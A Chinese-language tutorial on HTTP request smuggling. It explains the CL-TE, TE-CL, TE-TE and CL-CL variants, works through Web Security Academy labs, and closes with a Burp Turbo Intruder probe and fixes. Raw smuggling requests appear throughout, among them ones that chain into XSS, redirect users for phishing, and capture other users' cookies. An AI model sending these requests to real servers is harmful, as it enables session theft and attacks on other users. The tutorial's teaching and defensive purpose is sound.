您好,登錄后才能下訂單哦!
怎么淺析HTTP走私攻擊,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
1.什么是HTTP請求走私
在復雜的網絡環境下,不同的服務器以不同的方式實現RFC標準,利用前后端服務器對數據包的邊界了解不一致的情況下,向一個請求數據包中插入下一個請求數據包的一部分,在前端服務器角度看來,它屬于一個完整的請求,而在后端服務器看來,它屬于兩次請求,前端請求的一部分被后端服務器解釋為下一個請求的開始。因此,它使攻擊者可以繞過安全控制,未經授權訪問敏感數據并直接危害其他應用程序用戶。
2.產生的原因
在HTTP1.1后,增加了一個特殊的請求頭Connection: Keep-Alive,建立tcp持續通道,進行一次tcp握手,就能傳送多個請求。但這樣子只能是請求一次響應一次。為了提高數據傳輸的效率,減少阻塞。后來就有了HTTP Pipelining(管線化)字段,它是將多個http請求批量提交,而不用等收到響應再提交的異步技術。如下圖就是使用Pipelining和非Pipelining
這意味著前端與后端必須短時間內對每個數據包的邊界大小達成一致,否則,攻擊者就可以構造發送一個特殊的數據包,在前端看來它是一個請求,但在后端卻被解釋為了兩個不同的HTTP請求。這就導致攻擊者可以在下一個用戶發送的合法數據包前惡意添加內容。如圖,走私的內容("前綴"),以橙色突出顯示:
假設前端考慮的是內容長度頭部(Content-Length)值作為數據包結束的邊界,后端優先考慮的是Transfer-Encoding頭部。那么從后端角度看,如下圖藍色部份字體屬于一個數據包,而紅色部份字體屬于下一個數據包的開始部份。這樣就成功從前端“走私”了一個數據包。
3.攻擊類別
3.1.CL不為0的GET請求
假設前端代理服務器允許GET請求攜帶請求體,而后端服務器不允許GET請求攜帶請求體,它會直接忽略掉GET請求中的 Content-Length頭,不進行處理。這就有可能導致請求走私。
比如發送下面請求
GET / HTTP/1.1
Host:example.com
Content-Length:44
GET /socket HTTP/1.1
Host: example.com
前端服務器通過讀取Content-Length,確認這是個完整的請求,然后轉發到后端服務器,而后端服務器因為不對Content-Length進行判斷,由于Pipeline的存在,它認為這是兩個請求,分別為
第一個
GET / HTTP/1.1
Host: example.com
第二個
GET /socket HTTP/1.1
Host: example.com
則相當于走私了請求
3.2 CL-CL
在RFC7230規范中,規定當服務器收到的請求中包含兩個 Content-Length,而且兩者的值不同時,需要返回400錯誤。但難免會有服務器不嚴格遵守該規范。假設前端和后端服務器都收到該類請求,且不報錯,其中前端服務器按照第一個Content-Length的值對請求進行為數據包定界,而后端服務器則按照第二個Content-Length的值進行處理。
這時攻擊者可以惡意構造一個特殊的請求,
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5
123
A
CDN服務器獲取到的數據包的長度6,將上述整個數據包轉發給后端的服務器,而后端服務器獲取到的數據包長度為5。當讀取完前5個字符后,后端服務器認為該請求已經讀取完畢,然后發送出去。而此時的緩沖區去還剩余一個字母 A,對于后端服務器來說,這個 A是下一個請求的一部分,但是還沒有傳輸完畢。此時恰巧有一個其他的正常用戶對服務器進行了請求,則該A字母會拼湊到下一個正常用戶請求的前面,攻擊在此展開。
3.3 CL-TE
所謂CL-TE,顧名思義就是收到包含Content-Length和Transfer-Encoding這兩個請求頭d的請求時,前端代理服務器按照Content-Length這一請求頭定界,而后端服務器則以Transfer-Encoding請求頭為標準。
構造數據包
POST / HTTP/1.1
Host: example.com
Content-Length: 16
Transfer-Encoding: chunked
0
chunkedcode
前端服務器處理Content-Length頭并確定請求主體長度為16個字節,直到chunkedcode結束。此請求將轉發到后端服務器。
后端服務器處理Transfer-Encoding標頭,因此將消息體視為使用分塊編碼。它處理第一個塊,它被稱為零長度,因此被視為終止請求。緩沖區內還剩下chunkedcode,由于存在pipeline技術,后端服務器將這些字節視為隊列中下一個請求的開始。
在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。
注意:需要發送兩次請求
3.4 TE-CL
這種情況則屬于前端服務器處理Transfer-Encoding請求頭,而后端服務器處理Content-Length請求頭。
構造數據包
Host:example.com
Content-Length: 3
Transfer-Encoding: chunked
chunkedcode
0
注意0后面加兩個\r\n
前端服務器處理Transfer-Encoding請求頭,因此將消息體視為使用分塊編碼,處理第一塊時,有11個字節,直到chunkedcodede的最后一個字節。開始處理第二個塊,第二塊是0個字節,視為終止請求。此時把請求轉發到后端。而后端則在11處完成了對第一個數據包的讀取,chunkedcode\r\n0為下一個數據包的開始部份
在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。
注意:需要發送兩次請求
3.5 TE-TE
前端服務器處理第一個Transfer-Encoding請求頭,后端服務器處理第二個Transfer-Encoding請求頭。
構造數據包
Host:example.com
Content-length: 3
Transfer-Encoding: chunked
Transfer-encoding: error
chunkedcode
0
這里是用了兩個Transfer-Encoding 字段,并且第二個 TE 字段值為錯誤值,這里 前端服務器選擇對第一個 Transfer-Encoding進行處理,整個請求正常,原封不動轉發給后端服務器,而后端服務器則以第二個Transfer-Encoding 字段進行優先處理,而第二個Transfer-Encoding 字段非標準值,根據RPC規范,則會取Content-Length字段進行處理,這樣這個請求就會被拆分為兩個請求。
在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。
注意:需要發送兩次請求
4.攻擊擴展
4.1.smuggling+reflected xss
單純的UA處的xss并沒有什么危害,但可以結合請求走私攻擊進行利用來提升危害
我們可以構造以下數據包,只要發送一次
POST / HTTP/1.1
Host: acc01f221f0e5490815e020800d200d8.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=k3jXNrcQioQOdiLYyRXPJVf5gHZykEl8
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
0
GET /post?postId=3 HTTP/1.1
User-Agent: ">
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
會在該網站的任意頁面觸發xss,因為在http序列中,走私的請求會插到用戶對網站的請求前面
4.2 direct+smuggling
該場景基于url跳轉,把用戶重定向到一個固定網頁,lab為我們提供個跳轉api,/post/next?postId=3路由跳轉到的是/post?postId=4。
此時我們可以利用走私攻擊并配合重定向進行釣魚。
發送以下數據包一次:
POST / HTTP/1.1
Host: ac501fd21fceba4f80de460400140045.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=Rmtn44vZ2BeGqD1ToPbAYrcDS0UiIKwQ
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: ac501fd21fceba4f80de460400140045.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
然后訪問原網站任意頁面,都會被重定向到/post?postId=4
4.3竊取用戶請求
利用走私攻擊捕捉用戶請求數據包,竊取cookie
我們在發送評論處的api接口構造請求包如下
發送以下數據包
POST / HTTP/1.1
Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net
Content-Length: 600
Content-Type: application/x-www-form-urlencoded
Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p
csrf=aeITUnejzQ7XRUTUiEWl4X6ckwPt8TWc&postId=2&name=1&email=123%40qq.com&website=https%3A%2F%2F
成功把用戶的請求拼接到走私請求的comment參數上,如下圖
5.案例
該案例利用的是CL-TE的攻擊方式。根據RFC,當Content-Length和Transfer-Encoding兩個標頭同時出現在同一請求包時,Transfer-Encoding始終被優先處理。但是,如果Transfer-Encoding標頭格式錯誤,則前端服務器和后端服務器之間的對請求的解釋可能會有所不同。在該站點上發現的CLTE問題是,在請求包中Transfer-Encoding 和:之間加多一個空格,使該字段的格式為非標準值,此時前端服務器依據RPC規范,優先處理Content-Length,而后端服務器并沒嚴格遵守RPC規范,以Transfer-Encoding為依據進行處理數據包。
惡意請求的說明:
可見用戶的正常請求被拼接到X字段,而X請求頭非標準請求頭,故忽略,而該用戶的cookie字段也被拼接到了該走私的請求上
在Burp Collaborator Client上能成功竊取到用戶的cookie
6.測試工具
在burpsuite上查找到請求包,右鍵lauch smuggle probe,隨后在burpsuite的掃描結果上顯示報告
進一步確定漏洞
右鍵點擊"smuggle attack(CL.TE)"
出現Turbo Intruder腳本
# if you edit this file, ensure you keep the line endings as CRLF or you'll have a bad time
def queueRequests(target, wordlists):
# to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
# This will prefix the victim's request. Edit it to achieve the desired effect.
prefix = '''GET /hopefully404 HTTP/1.1
X-Ignore: X''' //走私一個uri為/hopefully404的請求包,下一個用戶的請求會拼接到X-Ignore字段后面,因此要是存在走私漏洞,則會返回一個狀態碼為404的數據包
# The request engine will auto-fix the content-length for us
attack = target.req + prefix
engine.queue(attack)
victim = target.req
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
點擊"attack"進行爆破測試
看到存在404狀態碼的數據包,說明存在http走私漏洞
修復方案:
1、前端服務器對前段輸入規范化
2、前端服務器使用HTTP2.0
3、后端服務器丟棄非正常請求
關于怎么淺析HTTP走私攻擊問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。